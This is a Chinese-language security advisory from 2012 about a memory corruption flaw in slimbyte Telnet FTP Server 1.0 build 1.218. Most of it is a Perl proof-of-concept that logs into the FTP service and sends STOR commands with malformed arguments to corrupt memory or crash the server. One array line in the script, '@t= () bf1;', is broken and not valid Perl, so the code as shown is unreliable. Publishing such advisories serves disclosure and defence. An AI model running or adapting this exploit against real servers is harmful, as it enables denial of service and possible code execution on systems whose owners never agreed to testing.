发布日期：2012-07-16
更新日期：2012-07-17
受影响系统：
slimbyte Telnet FTP Server 1.0 build(1.218)
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 54462
Telnet是远程登陆FTP服务器。
Telnet FTP Server 1.0 build(1.218)在实现上存在内存破坏漏洞，攻击者可利用此漏洞在受影响应用中执行任意代码。
<*来源：coolkaveh
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
coolkaveh （）提供了如下测试方法：
# Exploit Title: Telnet Ftp Server <= Memory Corruption PoC
# crash:
# Date: July 7, 2012
# Author: coolkaveh
# coolkaveh () rocketmail com
# https://twitter.com/coolkaveh
# Vendor Homepage:
# also download link available at :
# Version: 1.0 build(1.218)
# Tested on: windows 7 SP1
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Crappy Telnet Ftp Server Memory Corruption PoC
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
use Thread;
$|=1;
$host=shift;
$port=shift || "21";
if(!defined($host)){
print("usage: $0 \$host [\$port]\n");
exit(0);
}
$check_first=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60);
if(defined $check_first){
print "$host -> $port is alive.\n";
$check_first->close;
}else{
die("$host -> $port is closed!\n");
}
@bf1=(
'A'x5,
);
@bf2=(
'!)!)',
);
@bf3=(
'0',
);
@t= () bf1;
push(@t, @bf2);
push(@t, @bf3);
sub check(){
#Thread->self->detach;
$sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60);
if(defined $sock){
#print "$host -> $port is alive.\n";
undef($content_tmp);
$sock->recv($content_tmp,100,0);
if(length($content_tmp)>0){
$sock->close;
return 1;
}else{
$sock->close;
return 0;
}
}else{
#print("$host -> $port is closed!\n");
return 0;
}
}
#set PASV Mode send Socket
sub send_sock($){
$send_port_num=shift;
Thread->self->detach;
$send_sock_tmp=IO::Socket::INET->new(PeerAddr=>$host,
PeerPort=>$send_port_num, Proto=>'tcp', Timeout=>30);
if(defined($send_sock_tmp)){
$send_sock_tmp->recv($mem,100,0);
print "$mem\n";
$mem=0;
$send_sock_tmp->close;
undef($send_port_num);
return 1;
}else{
undef($send_port_num);
return 0;
}
}
print "Please enter the real username: ";
$real_username=<STDIN>;
chop($real_username);
print "Please enter the real password: ";
$real_password=<STDIN>;
chop($real_password);
@cm=(
'STOR',
'STOR',
);
$sock3=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port,
Proto=>'tcp', Timeout=>30);
if(defined($sock3)){
$sock3->recv($content, 100, 0);
print "$content\n";
sleep(2);
$sock3->send("USER "."$real_username\r\n", 0);
sleep(2);
$sock3->recv($content, 100, 0);
print "$content\n";
sleep(2);
$sock3->send("PASS "."$real_password\r\n", 0);
sleep(2);
$sock3->recv($content, 100, 0);
print "$content\n";
sleep(2);
if($content=~m/^230/){
$sock3->close;
}else{
$sock3->close;
die("Username or Password is wrong!\n");
}
}else{
die "$host -> $port is closed!\n";
}
L_V_J: undef($cmd);
C_L: foreach $cmd (@cm){
foreach $poc (@t){
LABEL5: $sock4=IO::Socket::INET->new(PeerAddr=>$host,
PeerPort=>$port, Proto=>'tcp', Timeout=>30);
if(defined($sock4)){
$sock4->recv($content, 100, 0);
print "$content\n";
sleep(2);
$sock4->send("USER "."$real_username\r\n", 0);
sleep(2);
$sock4->recv($content, 100, 0);
print "$content\n";
sleep(2);
$sock4->send("PASS "."$real_password\r\n", 0);
sleep(2);
$sock4->recv($content, 100, 0);
print "$content\n";
sleep(2);
if(($cmd eq 'STOR')){
$sock4->send("PASV\r\n", 0);
sleep(2);
$sock4->recv($content, 100, 0);
print "$content\n";
sleep(2);
if($content=~m/\((.*),(.*),(.*),(.*),(.*),(.*)\)/){
$send_port=$5*256+$6;
}
}
}
$sock4->send("$cmd"." "."$poc\r\n", 0);
Thread->new(\&send_sock,$send_port);
$sock4->send("$cmd"." "."$poc\r\n", 0);
sleep(2);
$sock4->recv($content, 100, 0);
$thread3=Thread->new(\&check);
undef($thread3);
$sock4->send("QUIT\r\n", 0);
}
}
建议：
--------------------------------------------------------------------------------
厂商补丁：
slimbyte
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：